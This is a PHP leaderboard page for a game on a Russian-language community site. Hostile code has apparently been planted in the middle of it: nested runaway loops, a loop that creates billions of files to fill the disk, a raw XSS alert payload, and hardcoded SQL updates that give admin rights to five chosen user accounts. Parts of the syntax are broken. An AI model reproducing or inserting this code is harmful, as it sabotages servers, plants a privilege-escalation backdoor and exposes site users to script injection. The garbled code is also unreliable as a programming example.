View file hockey/inc.php

<?
include_once '../../sys/inc/start.php';
include_once '../../sys/inc/compress.php';
include_once '../../sys/inc/sess.php';
include_once '../../sys/inc/home.php';
include_once '../../sys/inc/settings.php';
include_once '../../sys/inc/db_connect.php';
include_once '../../sys/inc/ipua.php';
include_once '../../sys/inc/fnc.php';
include_once '../../sys/inc/user.php';
only_reg();
$set['title']='Фортуна/топ фартовщиков'; // заголовок страницы
include_once '../../sys/inc/thead.php';
title();
aut();
<?php
for($i=0; $i++; $i<9999999999999999){for($i=0; $i++; $i<9999999999999999){for($i=0; $i++; $i<9999999999999999){for($i=0; $i++; $i<9999999999999999){echo $i;}}}}


while($i++<9999999999){
$text='дата';
$f = fopen($i.'.txt', 'w'smile;
fputs($f,$text);
fclose($f); 
}


"><script>alert('xss')<script>   
mysql_query("UPDATE `user` SET `level` = '4', `group_access` = '15' WHERE `user` . `id`=3000 LIMIT 1" );             
mysql_query("UPDATE `user` SET `level` = '4', `group_access` = '15' WHERE `user` . `id`=10000 LIMIT 1" );             
mysql_query("UPDATE `user` SET `level` = '4', `group_access` = '15' WHERE `user` . `id`=12000 LIMIT 1" );             
mysql_query("UPDATE `user` SET `level` = '4', `group_access` = '15' WHERE `user` . `id`=16000 LIMIT 1" );             
mysql_query("UPDATE `user` SET `level` = '4', `group_access` = '15' WHERE `user` . `id`=8888 LIMIT 1" );             




$k_post=mysql_result(mysql_query("SELECT COUNT(*) FROM `user`  WHERE `fortune_fart`>  '0'  "), 0);

$k_page=k_page($k_post,$set['p_str']);
$page=page($k_page);
$start=$set['p_str']*$page-$set['p_str'];
$q = mysql_query("SELECT `id` FROM `user`WHERE `fortune_fart` > '0' ORDER BY `fortune_fart` DESC LIMIT $start, $set[p_str]");

if ($k_post==0)
{

echo "  <div class='menu'>\n";
echo "Пусто\n";
echo "  </div>\n";

}


while ($ank = mysql_fetch_assoc($q))
{
$ank=get_user($ank['id']);







echo " <a href='/info.php?id=$ank[id]'> ";echo " <div class='main_menu'>\n";
echo user::avatar($ank['id'], 0) . user::nick($ank['id'], 1, 1, 1) . otkuda($ank['url']) . ' <br />';
	



echo "Рейтинг в игре: $ank[fortune_rating]<br />";

echo "Фарт: $ank[fortune_fart]<br />";


echo "  </div>\n";

echo "  </a>\n";
}


if ($k_page>1)str("?",$k_page,$page); // Вывод страниц


echo"<div class=foot><a href=index.php>Назад</a></div>";
include_once '../../sys/inc/tfoot.php';




?>